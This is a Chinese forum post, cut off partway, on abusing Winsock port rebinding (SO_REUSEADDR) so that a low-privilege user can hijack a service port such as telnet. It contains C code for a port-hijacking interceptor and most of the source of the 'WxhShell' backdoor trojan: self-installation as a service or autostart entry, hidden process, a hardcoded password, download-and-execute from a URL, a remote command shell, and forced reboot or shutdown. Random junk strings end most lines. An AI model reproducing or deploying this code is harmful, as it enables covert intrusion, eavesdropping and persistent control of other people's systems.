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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %wy.TN  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %[TR^Th6  
:3Ox~o  
  saddr.sin_family = AF_INET; ,&.!?0+  
!;A\.~-!G  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ADzhNf S  
'IQ0{&EI  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]%H`_8<gc  
>tr}|>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 cuI TY^6  
_TZRVa_  
  这意味着什么?意味着可以进行如下的攻击: h438`  
 mq.`X:e  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ZMlm)?m  
dZ@63a>>@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) p]TAELy  
2%m BK  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2/^3WY1U  
</z Eg3F\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \M^bD4';>  
Qw*|qGvy^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 C&%_a~  
{VRf0c  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 CHX#^0m.  
W ac&b  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 XpHrt XD  
va@Lz&sAE%  
  #include wP@(?z  
  #include kTgEd]^&D  
  #include gwMNYMI  
  #include    _G@GpkSe>  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ZY+qA  
  int main() ;A*]l' [-  
  { Jnov<+  
  WORD wVersionRequested; ?6U0PChy  
  DWORD ret; g) jYFfGfH  
  WSADATA wsaData; chX"O 0?"  
  BOOL val; }Sv:`9=  
  SOCKADDR_IN saddr; T0)@pt7>  
  SOCKADDR_IN scaddr; DTL.Bsc-.  
  int err; ~f98#43  
  SOCKET s; aW7^d'ZZ\  
  SOCKET sc; 8l`*]1.W<  
  int caddsize; f]CXu3w(J  
  HANDLE mt; h:|qC`}  
  DWORD tid;   wmLs/:~  
  wVersionRequested = MAKEWORD( 2, 2 ); VI86KJu  
  err = WSAStartup( wVersionRequested, &wsaData ); ^ Ze=uP  
  if ( err != 0 ) { 4tBYR9|  
  printf("error!WSAStartup failed!\n"); H.MI5O(Q  
  return -1; "chDg(jMZ  
  } e9 B064  
  saddr.sin_family = AF_INET; iYy1!\  
   S,he6zS  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {`@G+JV~Jw  
|CyE5i0  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4kx N<]  
  saddr.sin_port = htons(23); /\n- P'}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j\M?~=*w  
  { @o`AmC . 8  
  printf("error!socket failed!\n"); L!xi  
  return -1; Gd85kY@w7  
  } i XjM.G  
  val = TRUE; gPPkT"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 WNtW|I V  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ww1[rCh\+  
  { lThB2/tV\  
  printf("error!setsockopt failed!\n"); [7y]n;Fy  
  return -1; 8":Q)9;%  
  } SmO~,2=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |sE'XT4ag  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 WpvhTX  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3JR+O <3D  
S f# R0SA  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9->if/r,o  
  { t?FBG4  
  ret=GetLastError(); R:qW;n%AF  
  printf("error!bind failed!\n"); M o|2}nf  
  return -1; (E1~H0^  
  } >m\(6x8RE  
  listen(s,2); >A"(KSNL  
  while(1) pQB."[n  
  { %xLh Z\  
  caddsize = sizeof(scaddr); V0mn4sfs  
  //接受连接请求 a%0EiU  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); QMm%@zH  
  if(sc!=INVALID_SOCKET) [$UI8tV  
  { t]G:L}AOl  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); X:{!n({r=  
  if(mt==NULL) @H8EWTZ  
  { s eJ^s@H5l  
  printf("Thread Creat Failed!\n"); {' H(g[k  
  break; :ShT|n7  
  } f|g g  
  } aN3;`~{9  
  CloseHandle(mt); ?a]mDx>xh  
  } )4;`^]F  
  closesocket(s); GQ ;;bcj&  
  WSACleanup(); B9S@(/"7  
  return 0; lyhiFkO iH  
  }   "m>81-0  
  DWORD WINAPI ClientThread(LPVOID lpParam)  Vxt+]5X  
  { BZ^}J!Q'*  
  SOCKET ss = (SOCKET)lpParam; 1o>xEWt:0K  
  SOCKET sc; veECfR;  
  unsigned char buf[4096]; (/] J3  
  SOCKADDR_IN saddr; tZo} ;|~'  
  long num; '|=;^Z7.K  
  DWORD val; zm;C\s rF  
  DWORD ret; klhtKp_p  
  //如果是隐藏端口应用的话,可以在此处加一些判断 F:DrX_O%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [2cD:JL  
  saddr.sin_family = AF_INET; FpU>^'2]  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); d#wVLmKZ  
  saddr.sin_port = htons(23); q@2siI~W  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f*8DCh!r"  
  { /Z4et'Lo  
  printf("error!socket failed!\n"); Dvln/SBk  
  return -1; 69.NPy@  
  } TD_Oo-+\  
  val = 100; *Pg2c(Vg  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hE-M$LmN@  
  { QS`]  
  ret = GetLastError(); Z3!`J&  
  return -1;  9gZ$   
  } `r_/Wt{g  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )!T/3|C  
  { Xn ;AZu^'R  
  ret = GetLastError(); >(RkZ}z  
  return -1; 2J;g{95z  
  } /Ci<xmP  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *8XEYZa  
  { @KAI4LP  
  printf("error!socket connect failed!\n"); Kc(FX%3LU  
  closesocket(sc); 3;Fhg!Z O  
  closesocket(ss); :BT q!>s  
  return -1; a[TMDU;(/4  
  } T[j,UkgGo  
  while(1) u#SWj,X  
  { 3+bt~J0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Aiea\j Bv  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Wm5 dk9&x  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 rVsJ`+L  
  num = recv(ss,buf,4096,0); <54 S  
  if(num>0) Rx}Gz$   
  send(sc,buf,num,0); vr^qWn  
  else if(num==0) ,Y48[_ymm  
  break; Du){rVY^d  
  num = recv(sc,buf,4096,0); Lj;2\]  
  if(num>0) <0?W{3NqI  
  send(ss,buf,num,0); H>@+om  
  else if(num==0) nFs(?Rv*  
  break; _J[P[(ab  
  } ;A!BVq  
  closesocket(ss); 7x a>  
  closesocket(sc); Q NVa?'0"Y  
  return 0 ;  8dyg1F  
  } >&k-'`Nw  
`@s^(hc7i  
X\ F|Tk3_  
========================================================== 5/z/>D;  
X[TR3[1}  
下边附上一个代码,,WXhSHELL `y* }lg T  
0qT%!ku&  
========================================================== Wo ,?+I  
29q _BR *:  
#include "stdafx.h" Z EO WO  
^G-@06/!  
#include <stdio.h> C"enpc_C/  
#include <string.h> W*w3 [_"sr  
#include <windows.h> >yh2Lri  
#include <winsock2.h> tklH@'q  
#include <winsvc.h> ^zgo#J 5O  
#include <urlmon.h> /H+a0`/  
7v_8_K  
#pragma comment (lib, "Ws2_32.lib") M& CqSd  
#pragma comment (lib, "urlmon.lib") \5cpFj5%  
n{SJ_S#a.a  
#define MAX_USER   100 // 最大客户端连接数 A. w:h;7  
#define BUF_SOCK   200 // sock buffer Dn}Jxu'(  
#define KEY_BUFF   255 // 输入 buffer 2dgd~   
!5?<% *  
#define REBOOT     0   // 重启 *_g$MI  
#define SHUTDOWN   1   // 关机 da~],MN  
3{(/x1 a,4  
#define DEF_PORT   5000 // 监听端口 ua `RJ  
NW)1#]gg%  
#define REG_LEN     16   // 注册表键长度 H7+,*  
#define SVC_LEN     80   // NT服务名长度 j 1HW._G  
^y4Z+Gu[  
// 从dll定义API /|&*QLy  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kz7(Z'pw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Fea(zJ_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /JU.?M35  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); IdxzE_@  
w)jISu;RG  
// wxhshell配置信息 G<;*SYAb  
struct WSCFG { c_l"I9M#r  
  int ws_port;         // 监听端口 ;IM}|2zuN  
  char ws_passstr[REG_LEN]; // 口令 HLHz2-lI  
  int ws_autoins;       // 安装标记, 1=yes 0=no qb` \)X]9  
  char ws_regname[REG_LEN]; // 注册表键名 f'3$9x  
  char ws_svcname[REG_LEN]; // 服务名 O%HHYV%[m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,wdD8ZT'Ip  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9@)O_@=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ##4HYQ%E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t<?,F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )sQ*Rd@t[8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -RK- Fu<e  
-`TEVS?`l  
}; 9k[9P;"F:  
XHGFf_kW_N  
// default Wxhshell configuration LB?u8>a' I  
struct WSCFG wscfg={DEF_PORT, ]:/Q]n^  
    "xuhuanlingzhe", *s iFj CN<  
    1, -+-_I*(  
    "Wxhshell", ges J/I  
    "Wxhshell", '(jG[ry&T  
            "WxhShell Service", Lbb0_-']  
    "Wrsky Windows CmdShell Service", QnX(V[  
    "Please Input Your Password: ", *EwR!L*  
  1, 0S$N05  
  "http://www.wrsky.com/wxhshell.exe", =zs`#-^8  
  "Wxhshell.exe" t9IW/Q  
    }; 57'4ljvYi  
2jCfT>`3  
// 消息定义模块 7W.~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yyy|Pw4:Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,izO{@We2{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6Sn.I1Wy  
char *msg_ws_ext="\n\rExit."; r0 uwPf  
char *msg_ws_end="\n\rQuit."; 0}dpK $.  
char *msg_ws_boot="\n\rReboot..."; Tc3yS(aq  
char *msg_ws_poff="\n\rShutdown..."; liz~7RY4  
char *msg_ws_down="\n\rSave to "; WvZ8/T'x  
0NX,QD  
char *msg_ws_err="\n\rErr!"; c_!cv":s  
char *msg_ws_ok="\n\rOK!"; l0i^uMS  
"i W"NFO  
char ExeFile[MAX_PATH]; )B8$<sv  
int nUser = 0; r^ ZEImjc  
HANDLE handles[MAX_USER]; lBGQEP3;  
int OsIsNt; .y:U&Rw4  
mBON$sF|  
SERVICE_STATUS       serviceStatus; c<$OA=n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; EI^C{ $Y  
G[q$QB+  
// 函数声明 CYYU 7  
int Install(void); Uq`'}Vo  
int Uninstall(void); 2WYPO"q  
int DownloadFile(char *sURL, SOCKET wsh); ls)%c  
int Boot(int flag); {h`uV/5@`  
void HideProc(void); >`ZyG5  
int GetOsVer(void); Jo23P.#<  
int Wxhshell(SOCKET wsl); 1|-Dj|  
void TalkWithClient(void *cs); \=0Vi6!Mc  
int CmdShell(SOCKET sock); x{ WD;$J  
int StartFromService(void); 3I-MdApT  
int StartWxhshell(LPSTR lpCmdLine); q;)JISf.  
0v$~90)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $z*'fXg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T0rG M  
yY&I dE  
// 数据结构和表定义 #$qTFN  
SERVICE_TABLE_ENTRY DispatchTable[] = f^XOUh  
{ {%6`!WW[  
{wscfg.ws_svcname, NTServiceMain}, Ck7uJI<x  
{NULL, NULL} pBA7,z"`mP  
}; mvT(.R ..s  
001FmiV  
// 自我安装 5( HG|  
int Install(void) ]f9Cx\d:k  
{ `$ aZ0+  
  char svExeFile[MAX_PATH]; WbqWG^W  
  HKEY key; _~iw[*#u  
  strcpy(svExeFile,ExeFile); SQt 4v"  
O#S.n#{  
// 如果是win9x系统,修改注册表设为自启动 A '];`  
if(!OsIsNt) { {fn!'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e(=w(;84  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I83<r9  
  RegCloseKey(key); < F+l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZoZ| M a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8X)Y^uGGZ  
  RegCloseKey(key); 9o:Lz5 o  
  return 0; q;>7*Y&  
    } (+y  
  } .z}~4BY  
} K~eh P[^  
else { =h73s0 ]  
F;0}x;:>  
// 如果是NT以上系统,安装为系统服务 ?zHPJLv|Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /HRFAqep  
if (schSCManager!=0) n$,*|_$#  
{ E#t>Qn  
  SC_HANDLE schService = CreateService =]Jd9]vi  
  ( _Qi&J.U>  
  schSCManager, *>qp:;,DKP  
  wscfg.ws_svcname, H@8sNV/u  
  wscfg.ws_svcdisp, gn".u!9j  
  SERVICE_ALL_ACCESS, m<"WDU?y;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tr}Loq\y  
  SERVICE_AUTO_START, `t'W2X  
  SERVICE_ERROR_NORMAL, { W{]L:  
  svExeFile,  0$fpIz  
  NULL, N `F~n%N  
  NULL, 7X'u6$i  
  NULL, R2]Z kg  
  NULL, k%QpegN  
  NULL l u%}h7ng  
  ); 9kS^Abtk  
  if (schService!=0) CDR@ `1-  
  { h/hmlnOQl  
  CloseServiceHandle(schService); Cg?&wj<  
  CloseServiceHandle(schSCManager); d;9FB[MmOJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ls:w8 &`*  
  strcat(svExeFile,wscfg.ws_svcname); ~d*(=G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {v ;&5!s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o:P}Wg/NK  
  RegCloseKey(key); .rqhi  
  return 0; cI?8RF(;  
    } +jnJ|h({  
  } JKmIvZ)8  
  CloseServiceHandle(schSCManager); r{I% \R!@  
} x!58cS*  
} Y+u_IJ  
} .y 1;.  
return 1; 3H6lBF  
} Bj-: #P@  
_k ~KZ;l  
// 自我卸载 s %\-E9 T  
int Uninstall(void) v"XGCi91L  
{ y0.8A-2:  
  HKEY key; .Cl:eu,]  
!1{e|p 7  
if(!OsIsNt) { q0R -7O(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EkNunCls  
  RegDeleteValue(key,wscfg.ws_regname); @? QoF#D  
  RegCloseKey(key); jeH~<t{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .Blf5b  
  RegDeleteValue(key,wscfg.ws_regname); L4z ~B!uvF  
  RegCloseKey(key); ww $  
  return 0; fd<:_f]v  
  } 'yG4 LF  
} o{q{!7DH@  
} "~7>\>UFh  
else { 22M1j5  
aYS!xh206  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2:7zG "$  
if (schSCManager!=0) 4\u1TYR  
{ "x*e gI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PV\+P6aIb  
  if (schService!=0) ]<rkxgMW>  
  { oO|KEY(  
  if(DeleteService(schService)!=0) { 0C irfcs}Z  
  CloseServiceHandle(schService); 6vNrBB  
  CloseServiceHandle(schSCManager); WRy aKM  
  return 0; ,J^b0@S  
  } UK O[r;  
  CloseServiceHandle(schService); ^!ZC?h!rG  
  } YS@ypzc/  
  CloseServiceHandle(schSCManager); J1I ;Jgql(  
} ERE)A-8  
} ^N;.cY  
TNY&asQo  
return 1; GyIT{M}KV  
} *|C^=*j9  
xLWw YK  
// 从指定url下载文件 $oU*9}}Rn  
int DownloadFile(char *sURL, SOCKET wsh) b TM{l.Aq3  
{ B43HNs  
  HRESULT hr; _%!c+f7  
char seps[]= "/"; * @v)d[z_  
char *token; #_J@-f7^  
char *file; pg.ri64H<  
char myURL[MAX_PATH]; >qjq=Ege  
char myFILE[MAX_PATH]; b8"?VS5-"  
LO khjHR  
strcpy(myURL,sURL); dx &'fe*?  
  token=strtok(myURL,seps); `YLD`(\  
  while(token!=NULL) Yu[ t\/  
  { f~y%%+{p  
    file=token; >x+6{^}Q>  
  token=strtok(NULL,seps); o` ZQd,3  
  } Avd ^  
UU mTOJr  
GetCurrentDirectory(MAX_PATH,myFILE); 2w_WAdi  
strcat(myFILE, "\\"); 8I8 F/47x  
strcat(myFILE, file); kabnVVn~  
  send(wsh,myFILE,strlen(myFILE),0); !^=*Jq>  
send(wsh,"...",3,0); vCxD~+zf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1[qLA!+  
  if(hr==S_OK) QnXA*6DJ  
return 0; x:>wUhzZ  
else E^lvbLh'  
return 1; Wm"4Ae:B  
+ SFVv_n  
} I)cFG{~L  
Hh-+/sO~"  
// 系统电源模块 wNtx]t_M  
int Boot(int flag) c5l.B#-lY  
{ {VvqO7A  
  HANDLE hToken; cU@SIJ)  
  TOKEN_PRIVILEGES tkp; [}/LD3  
u7\J\r4,+  
  if(OsIsNt) { /#-C4"|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R)z4n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lB4GU y$  
    tkp.PrivilegeCount = 1; v!Pb`LCqK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /<}m? k\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >.'*) @vQi  
if(flag==REBOOT) { QP)pgAc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %Nhx;{  
  return 0; ,TPISs  
} g[I b,la_a  
else { ##;Er47@^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 65p?Igb  
  return 0; #H{<gjs]  
} ( Qcp{q  
  } ~ ! 3I2  
  else { " '6;/N  
if(flag==REBOOT) { .0iQad&duh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U.XNv-M  
  return 0; e~@ [18  
} 'fF;(?  
else { T[uiPs /xD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !z<%GQ CT  
  return 0; 9C[ywp  
} lR[qqFR  
} 2?,EzBeal  
"D'B3; uWK  
return 1; W#BM(I  
} \2}bi:e 6  
5ish\"  
// win9x进程隐藏模块 {%{ `l-  
void HideProc(void) @t`Xq1  
{ gk+h8 LZ  
}!/$M\w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k.^co I5  
  if ( hKernel != NULL ) BV(8y.H  
  { a,+@|TJ,i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *l;B\=KR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y^Kph# F"  
    FreeLibrary(hKernel); 0B&Y ]*  
  } 1~ t{aLPz  
=ng\ 9y[;D  
return; bH2MdU  
} 8 <7GdCME  
@@rEs40  
// 获取操作系统版本 ,0~9dS   
int GetOsVer(void) :l&V]}:7*  
{ ^#1.l=s  
  OSVERSIONINFO winfo; ?(m jx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vR=6pl$|~~  
  GetVersionEx(&winfo); J9Ou+6u(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9,_mS{+B  
  return 1; ] GTAq  
  else $:j G-r  
  return 0; EV^~eTz  
} -gas?^`  
.E&z$N  
// 客户端句柄模块 YJ/zU52JK~  
int Wxhshell(SOCKET wsl) oY|,GvCnK  
{ f7~9|w&  
  SOCKET wsh; s^|.Zr;,>  
  struct sockaddr_in client; 3a 1u  
  DWORD myID; Cc<,z*T  
d,tU#N{Q6  
  while(nUser<MAX_USER) P F#X8+&J  
{ \\<waU''  
  int nSize=sizeof(client); eh`sfH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j/I^\Ms  
  if(wsh==INVALID_SOCKET) return 1; #g)$m}tv?  
HiTn5XNf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [A@K)A$f  
if(handles[nUser]==0) Z0fl]3p  
  closesocket(wsh); () l#}H`m  
else /jBjqE;_  
  nUser++; ho 5mH{"OV  
  } sIx8,3`&y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4';~@IBf  
a(!_ 3i@  
  return 0; 2&L2G'  
} ~g&FeMo  
R-lB.9e#M  
// 关闭 socket z]P =>w  
void CloseIt(SOCKET wsh) :o!bz>T  
{ BQ&G7V  
closesocket(wsh); u!NY@$Wc  
nUser--; tS$^k)ZXip  
ExitThread(0); Gz>M Y4+G  
} 43i@5F]  
g>])O  
// 客户端请求句柄 P!;%DI!<b  
void TalkWithClient(void *cs) SV-M8Im73z  
{ [&6VI?  
*} yOL [  
  SOCKET wsh=(SOCKET)cs; :n1^Xw0q  
  char pwd[SVC_LEN]; SONv] ));  
  char cmd[KEY_BUFF]; + ?z=,')  
char chr[1]; I-@A{vvPK  
int i,j; r9),F.6,  
[K(|V  
  while (nUser < MAX_USER) { *pu ,|  
};rxpw>ms  
if(wscfg.ws_passstr) { +/">]QJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %t*_Rtz\o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L|O'X4"&_  
  //ZeroMemory(pwd,KEY_BUFF); %/b3G*$W  
      i=0; _;o)MTw|'  
  while(i<SVC_LEN) { cc LTA  
O$'BJKj-4  
  // 设置超时 ?*2DR:o>@  
  fd_set FdRead; v'x)AbbC  
  struct timeval TimeOut; ^lF'KW$  
  FD_ZERO(&FdRead); s7x&x;-  
  FD_SET(wsh,&FdRead); 'X()|{  
  TimeOut.tv_sec=8; f-w-K)y$ht  
  TimeOut.tv_usec=0; XkG:1H;Q%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =qQH,{]c6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?CaMn b8  
 ,\HZIl[8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J$9`[^pV  
  pwd=chr[0]; PS" ,  
  if(chr[0]==0xd || chr[0]==0xa) { Ro&s\T+d  
  pwd=0; 4$j7DJ8dj  
  break; v[3QI7E3  
  } Z *9Qeu-N:  
  i++; {8'f>YP  
    } ; O6Ez-"  
pZpAb+  
  // 如果是非法用户,关闭 socket pzkl;"gK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >";I3S-t  
} o09)esy  
h92'~X36  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;IN!H@bq  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U Bo[iZ|%  
F\!Va  
while(1) { G5C=p:o{/  
PrA?e{B5m  
  ZeroMemory(cmd,KEY_BUFF); utH,pGs C.  
Y[(U~l,a+  
      // 自动支持客户端 telnet标准   hJkP_( +J\  
  j=0; -i,=sZXB  
  while(j<KEY_BUFF) { Dy_ayxm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .3yoDab  
  cmd[j]=chr[0]; /| nZ)?  
  if(chr[0]==0xa || chr[0]==0xd) { OGDCC/  
  cmd[j]=0; MF7q*f  
  break; 5Op|="W.  
  } XXx]~m  
  j++; =jz*|e|V  
    } I$rnW  
,KT[ }P7  
  // 下载文件 EWI2qaSnO  
  if(strstr(cmd,"http://")) { my.%zF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^Po^Co  
  if(DownloadFile(cmd,wsh)) \Zpg,KOT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,*y\b|<j  
  else .(RX;.lw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <)D)j[  
  } EAPLe{qw:q  
  else { hI+mx  
!Vtj:2PQL  
    switch(cmd[0]) { 'Gr}<B$A3  
  Q+Sx5JUR~  
  // 帮助 vz\^Aa #fv  
  case '?': { Ng1{ NI+S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SxAZ2|/-  
    break; jrF#DDH?I  
  } a#U2y"  
  // 安装 T-;|E^  
  case 'i': { GN&-`E]-  
    if(Install()) l\Q--  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W8@o7svrh  
    else M%U1?^j8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +2qCH^80  
    break; z 1~2w:  
    } /t4#-vz  
  // 卸载 T@Q,1^?i  
  case 'r': { *bOgRM[  
    if(Uninstall()) <-Hw@g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ><l|&&e-  
    else ;J]Lzh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Eku+&f@RB  
    break; Vr|sRvz  
    } li4"|T&  
  // 显示 wxhshell 所在路径 HVG:q#=C  
  case 'p': { E8`AU<  
    char svExeFile[MAX_PATH]; >EVY,  
    strcpy(svExeFile,"\n\r"); pA~eGar_J  
      strcat(svExeFile,ExeFile); +\Zr\fOe|%  
        send(wsh,svExeFile,strlen(svExeFile),0); h'wI  
    break; JBvMe H5  
    } [ST,/<?0  
  // 重启 KF.d:  
  case 'b': { BEfP#h=hr  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y)Y0SY1\j  
    if(Boot(REBOOT)) q'% cVM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); = Ff2  
    else { lDK<gd  
    closesocket(wsh); t XbMP  
    ExitThread(0); rQrh(~\:  
    } U?WS\Jji3!  
    break; %UO ;!&K  
    } Z(~v{c %<  
  // 关机 ?'jRUfl   
  case 'd': { s)eU^4m  
